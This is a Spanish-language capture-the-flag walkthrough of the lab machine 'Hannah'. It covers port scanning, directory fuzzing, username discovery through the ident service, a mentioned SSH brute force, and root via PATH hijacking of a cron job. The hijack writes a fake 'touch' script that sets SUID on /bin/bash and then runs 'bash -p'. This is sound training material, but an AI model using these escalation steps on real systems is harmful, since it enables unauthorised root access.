Hannah

Comenzamos junio con otra máquina easy del autor sml, la cual hace un uso de un servicio que nunca habíamos visto, y con el que obtendremos un nombre de usuario.

Reconocimiento de Puertos

Como es habitual, empezaremos averiguando la IP de la máquina víctima y realizando el reconocimiento de puertos con un pequeño script que creé para automatizar este proceso inicial:

 sudo nmapauto

[*] La IP de la máquina víctima es 192.168.1.63

Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-01 12:04 CEST
Initiating ARP Ping Scan at 12:04
Scanning 192.168.1.63 [1 port]
Completed ARP Ping Scan at 12:04, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 12:04
Scanning 192.168.1.63 [65535 ports]
Discovered open port 80/tcp on 192.168.1.63
Discovered open port 113/tcp on 192.168.1.63
Discovered open port 22/tcp on 192.168.1.63
Completed SYN Stealth Scan at 12:04, 1.76s elapsed (65535 total ports)
Nmap scan report for 192.168.1.63
Host is up, received arp-response (0.000086s latency).
Scanned at 2023-06-01 12:04:04 CEST for 1s
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE REASON
22/tcp  open  ssh     syn-ack ttl 64
80/tcp  open  http    syn-ack ttl 64
113/tcp open  ident   syn-ack ttl 64
MAC Address: 08:00:27:D0:C9:61 (Oracle VirtualBox virtual NIC)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.08 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

 [*] Escaneo avanzado de servicios

Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-01 12:04 CEST
Nmap scan report for 192.168.1.63
Host is up (0.00018s latency).

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 5f1c78369905320982d3d5054c1475d1 (RSA)
|   256 0669ef979b34d7f3c79660d1a1ffd82c (ECDSA)
|_  256 853dda74b2684ea6f7e5f58540902e9a (ED25519)
|_auth-owners: root
80/tcp  open  http    nginx 1.18.0
|_auth-owners: moksha
|_http-title: Site doesnt have a title (text/html).
| http-robots.txt: 1 disallowed entry 
|_/enlightenment
|_http-server-header: nginx/1.18.0
113/tcp open  ident?
|_auth-owners: root
MAC Address: 08:00:27:D0:C9:61 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.41 seconds

 [*] Escaneo completado, se ha generado el fichero InfoPuertos 

Empezaremos revisando el puerto 80:

❯ ip=192.168.1.63
❯ curl $ip
Under construction

Como no hay nada, vamos a realizar fuzzing.

❯ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -b 403,404 -x php,txt,html -u $ip
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.63
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.5
[+] Extensions:              php,txt,html
[+] Timeout:                 10s
===============================================================
2023/06/01 12:09:03 Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 19]
/robots.txt           (Status: 200) [Size: 25]
Progress: 875057 / 882244 (99.19%)
===============================================================
2023/06/01 12:09:56 Finished
===============================================================

Revisamos el robots.txt:

❯ curl $ip/robots.txt
Disallow: /enlightenment

Revisamos el recurso no indexado:

❯ curl $ip/enlightenment
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.18.0</center>
</body>
</html>

Por aquí no tenemos salida, de forma que reviso información acerca del puerto 113 el cual no conocía.

Puerto 113

Básicamente es un protocolo que nos ayuda a identificar el usuario que está corriendo una conexión TCP.

Como hemos realizado un escaneo avanzado con nmap, podremos observar un dato que no vemos nunca: auth-owners.

De esta forma, detectamos que aparte de root, existe un usuario llamado moksha.

Fuerza bruta por SSH

Lanzamos hydra para intentar encontrar la contraseña:

Ahora con la contraseña ya nos podemos conectar vía SSH:

❯ ssh moksha@192.168.1.63
moksha@192.168.1.63's password: 
Linux hannah 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jun  1 01:39:34 2023 from 192.168.1.150
moksha@hannah:~$ export TERM=xterm
moksha@hannah:~$ cat user.txt

Con la flag de user en nuestro poder, vamos a por la flag de root.

Escalada de privilegios

Como siempre empezaremos viendo la lista de grupos a la que pertenecemos y los comandos que podemos ejecutar como otro usuario:

moksha@hannah:~$ id
uid=1000(moksha) gid=1000(moksha) grupos=1000(moksha),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
moksha@hannah:~$ sudo -l
-bash: sudo: orden no encontrada

Nada interesante, veamos los binarios SUID:

moksha@hannah:~$ find / -type f -perm -4000 -ls 2>/dev/null 
   137350     52 -rwsr-xr--   1 root     messagebus    51336 oct  5  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   269176    472 -rwsr-xr-x   1 root     root         481608 jul  2  2022 /usr/lib/openssh/ssh-keysign
     3763     72 -rwsr-xr-x   1 root     root          71912 ene 20  2022 /usr/bin/su
     3604     44 -rwsr-xr-x   1 root     root          44632 feb  7  2020 /usr/bin/newgrp
      110     64 -rwsr-xr-x   1 root     root          63960 feb  7  2020 /usr/bin/passwd
     4132     36 -rwsr-xr-x   1 root     root          35040 ene 20  2022 /usr/bin/umount
      109     88 -rwsr-xr-x   1 root     root          88304 feb  7  2020 /usr/bin/gpasswd
      107     52 -rwsr-xr-x   1 root     root          52880 feb  7  2020 /usr/bin/chsh
      106     60 -rwsr-xr-x   1 root     root          58416 feb  7  2020 /usr/bin/chfn
     4130     56 -rwsr-xr-x   1 root     root          55528 ene 20  2022 /usr/bin/mount

Tampoco vemos ningún binario que podamos explotar, revisemos las cron:

moksha@hannah:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/media:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
* * * * * root touch /tmp/enlIghtenment
17 *  * * * root    cd / && run-parts --report /etc/cron.hourly
25 6  * * * root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6  * * 7 root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6  1 * * root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

Aquí vemos, que se está llamando a touch de forma relativa, por lo que vamos a revisar si es posible explotarlo:

moksha@hannah:~$ which touch
/usr/bin/touch

Bien, como podemos observar está leyendo de la última ruta del PATH, por lo que si podemos escribir en alguna ruta del mismo, podemos explotarlo:

moksha@hannah:~$ grep "PATH" /etc/crontab | tr -d "PATH=" | sed "s/:/\n/g" | xargs ls -ld
lrwxrwxrwx 1 root root     7 ene  4 10:39 /bin -> usr/bin
drwxrwxrwx 3 root root  4096 ene  4 10:39 /media
lrwxrwxrwx 1 root root     8 ene  4 10:39 /sbin -> usr/sbin
drwxr-xr-x 2 root root 20480 ene  4 10:44 /usr/bin
drwxr-xr-x 2 root root  4096 ene  4 10:40 /usr/local/bin
drwxr-xr-x 2 root root  4096 ene  4 10:40 /usr/local/sbin
drwxr-xr-x 2 root root 12288 ene  4 10:46 /usr/sbin

Podemos escribir en /media, por lo que vamos a realizar un Path hijacking.

Path hijacking

Vamos a crear un fichero “touch” y darle permiso de ejecución, el cual nos convertirá bash en un SUID con el fin de convertirnos en root:

moksha@hannah:~$ echo "chmod +s /bin/bash" > /media/touch
moksha@hannah:~$ chmod +x /media/touch

Solo nos queda convertir el bash a privilegiado y leer la flag:

moksha@hannah:~$ bash -p
bash-5.1# cd /root
bash-5.1# ls
root.txt
bash-5.1# cat root.txt

Con esto damos por finalizada esta máquina.

Dar las gracias a sml por la misma, ya llevamos varias de dicho autor y siempre tiene cositas nuevas, lo cual se agradece. Nos vemos en la siguiente.